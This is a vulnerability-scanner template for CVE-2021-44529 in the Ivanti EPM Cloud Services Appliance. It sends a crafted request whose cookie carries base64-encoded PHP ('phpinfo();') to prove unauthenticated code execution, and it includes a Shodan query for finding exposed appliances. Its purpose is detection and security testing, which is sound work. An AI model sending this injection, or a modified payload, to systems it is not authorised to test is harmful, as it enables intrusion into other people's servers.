id: CVE-2021-44529

info:
  name: Ivanti EPM Cloud Services Appliance code injection
  author: duty_1g,phyr3wall,Tirtha
  severity: critical
  description: |
    A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
  reference:
    - https://twitter.com/Dinosn/status/1505273954478530569
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44529
    - https://forums.ivanti.com/s/article/SA-2021-12-02
  metadata:
    shodan-query: title:"LANDesk(R) Cloud Services Appliance"
  tags: cve,cve2021,ivanti,epm,csa

requests:
  - raw:
      - |
        GET /client/index.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "phpinfo()"
          - "Cloud Services Appliance"
        condition: and

      - type: status
        status:
          - 200